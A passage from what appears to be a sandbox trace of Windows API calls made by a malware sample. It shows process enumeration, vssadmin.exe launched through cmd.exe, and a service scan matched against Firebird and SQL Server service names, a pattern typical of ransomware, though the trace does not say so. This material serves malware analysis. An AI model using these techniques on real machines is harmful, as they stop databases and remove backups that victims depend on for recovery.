lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.635] lstrlenW (lpString="svchost.exe") returned 11 [0146.635] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0146.636] lstrlenW (lpString="spoolsv.exe") returned 11 [0146.636] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.637] lstrlenW (lpString="svchost.exe") returned 11 [0146.637] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.638] lstrlenW (lpString="svchost.exe") returned 11 [0146.638] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0146.639] lstrlenW (lpString="audiodg.exe") returned 11 [0146.639] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0147.087] lstrlenW (lpString="sihost.exe") returned 10 [0147.087] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.088] lstrlenW (lpString="svchost.exe") returned 11 [0147.088] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0147.089] lstrlenW (lpString="taskhostw.exe") returned 13 [0147.089] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0147.090] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0147.090] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0147.091] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0147.091] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0147.092] lstrlenW (lpString="explorer.exe") returned 12 [0147.092] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0147.093] lstrlenW (lpString="Memory Compression") returned 18 [0147.093] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0147.094] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0147.094] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0147.095] lstrlenW (lpString="SearchUI.exe") returned 12 [0147.095] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0147.096] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0147.096] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0147.097] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0147.097] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0147.098] lstrlenW (lpString="UsoClient.exe") returned 13 [0147.098] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0147.099] lstrlenW (lpString="msoia.exe") returned 9 [0147.099] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0147.103] lstrlenW (lpString="taskhostw.exe") returned 13 [0147.103] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0147.104] lstrlenW (lpString="msoia.exe") returned 9 [0147.104] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0147.105] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0147.105] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0147.110] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0147.110] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0147.115] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0147.115] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0147.131] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0147.131] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0147.132] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0147.132] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0147.133] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0147.133] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0147.134] lstrlenW (lpString="concerned venture.exe") returned 21 [0147.134] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0147.135] lstrlenW (lpString="organizingscsi.exe") returned 18 [0147.135] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0147.136] lstrlenW (lpString="airplane placing.exe") returned 20 [0147.136] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0147.137] lstrlenW (lpString="circus.exe") returned 10 [0147.138] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0147.138] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0147.138] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0147.139] lstrlenW (lpString="das.exe") returned 7 [0147.139] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0147.140] lstrlenW (lpString="beam removable.exe") returned 18 [0147.140] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0147.141] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0147.141] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0147.142] lstrlenW (lpString="dome.exe") returned 8 [0147.142] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0147.143] lstrlenW (lpString="wiresjacket.exe") returned 15 [0147.143] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0147.144] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0147.144] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0147.145] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0147.145] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0147.652] lstrlenW (lpString="tested.exe") returned 10 [0147.652] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0147.653] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0147.653] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0147.654] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0147.654] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0147.655] lstrlenW (lpString="level.exe") returned 9 [0147.655] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0147.655] lstrlenW (lpString="dllhost.exe") returned 11 [0147.656] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.657] lstrlenW (lpString="conhost.exe") returned 11 [0147.657] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.657] lstrlenW (lpString="conhost.exe") returned 11 [0147.657] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.658] lstrlenW (lpString="svchost.exe") returned 11 [0147.658] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0147.659] lstrlenW (lpString="load0.exe") returned 9 [0147.659] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0147.660] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0147.660] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.661] lstrlenW (lpString="conhost.exe") returned 11 [0147.661] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0147.661] lstrlenW (lpString="cmd.exe") returned 7 [0147.661] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.662] lstrlenW (lpString="conhost.exe") returned 11 [0147.662] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.663] lstrlenW (lpString="svchost.exe") returned 11 [0147.663] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0147.664] lstrlenW (lpString="vssadmin.exe") returned 12 [0147.664] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0147.665] lstrlenW (lpString="LogonUI.exe") returned 11 [0147.665] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0147.665] CloseHandle (hObject=0x10d8) returned 1 [0147.666] Sleep (dwMilliseconds=0x1f4) [0148.349] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e32d0 [0148.349] EnumServicesStatusExW (in: hSCManager=0x5e32d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0148.350] GetLastError () returned 0xea [0148.350] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x3eb9108 [0148.350] EnumServicesStatusExW (in: hSCManager=0x5e32d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3eb9108, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3eb9108, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0148.350] CloseServiceHandle (hSCObject=0x5e32d0) returned 1 [0148.351] lstrlenW (lpString="Appinfo") returned 7 [0148.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0148.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0148.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0148.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0148.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0148.351] lstrlenW (lpString="AppXSvc") returned 7 [0148.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0148.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0148.351] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0148.351] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0148.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0148.351] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0148.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.351] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0148.351] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0148.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0148.352] lstrlenW (lpString="Audiosrv") returned 8 [0148.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0148.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0148.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0148.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0148.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0148.352] lstrlenW (lpString="BFE") returned 3 [0148.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0148.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0148.352] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0148.352] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0148.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0148.352] lstrlenW (lpString="BITS") returned 4 [0148.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0148.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0148.352] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0148.352] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0148.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0148.352] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0148.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0148.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0148.352] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0148.352] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0148.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0148.352] lstrlenW (lpString="CDPSvc") returned 6 [0148.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0148.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0148.352] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0148.352] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0148.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0148.353] lstrlenW (lpString="ClickToRunSvc") returned 13 [0148.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0148.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0148.353] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0148.353] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0148.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0148.353] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0148.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 